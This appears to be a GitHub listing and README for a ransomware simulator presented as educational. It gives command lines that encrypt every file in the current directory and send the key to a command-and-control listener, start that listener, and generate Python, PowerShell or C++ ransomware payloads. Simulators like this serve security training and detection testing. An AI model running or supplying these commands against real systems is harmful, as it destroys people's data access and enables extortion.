https://github.com/cybersecurityup/ransimulation
Simple Ransomware Simulator
https://github.com/cybersecurityup/ransimulation
Last synced: about 1 year ago
JSON representation
Simple Ransomware Simulator
- Host: GitHub
- URL: https://github.com/cybersecurityup/ransimulation
- Owner: CyberSecurityUP
- Created: 2024-11-09T19:45:03.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2024-11-09T19:47:39.000Z (over 1 year ago)
- Last Synced: 2025-04-16T01:53:37.143Z (about 1 year ago)
- Language: Python
- Size: 14.6 KB
- Stars: 5
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# RanSimulation
This project simulates a ransomware scenario for educational purposes. It includes file encryption, decryption, payload generation, and communication with a Command and Control (C2) server (In development).
## **Setup**
1. Clone the repository:
```bash
git clone https://github.com/CyberSecurityUP/RanSimulation.git
cd RansomwareSimulator
```
2. Install required dependencies:
```bash
pip install cryptography
```
3. Ensure Python 3.8+ is installed on your system.
---
## **Usage**
### **1. Encrypt Files**
Encrypt all files in the current directory and send the encryption key to the specified C2 server:
```bash
python3 main.py --encrypt --ip --port
```
Example:
```bash
python3 main.py --encrypt --ip 127.0.0.1 --port 4444
```
### **2. Decrypt Files**
Decrypt all files in the current directory using the provided encryption key:
```bash
python3 main.py --decrypt --key
```
Example:
```bash
python3 main.py --decrypt --key "YOUR_ENCRYPTION_KEY"
```
### **3. Start a C2 Listener**
Start a C2 listener to receive encryption keys from clients:
```bash
python3 main.py --listen --ip --port
```
Example:
```bash
python3 main.py --listen --ip 0.0.0.0 --port 4444
```
### **4. Generate Payloads**
Generate a ransomware payload in Python, PowerShell, or C++:
```bash
python3 main.py --generate --ip --port
```
Example:
```bash
python3 main.py --generate python --ip 127.0.0.1 --port 4444
```
Supported languages:
- `python`
- `powershell`
- `c++`
---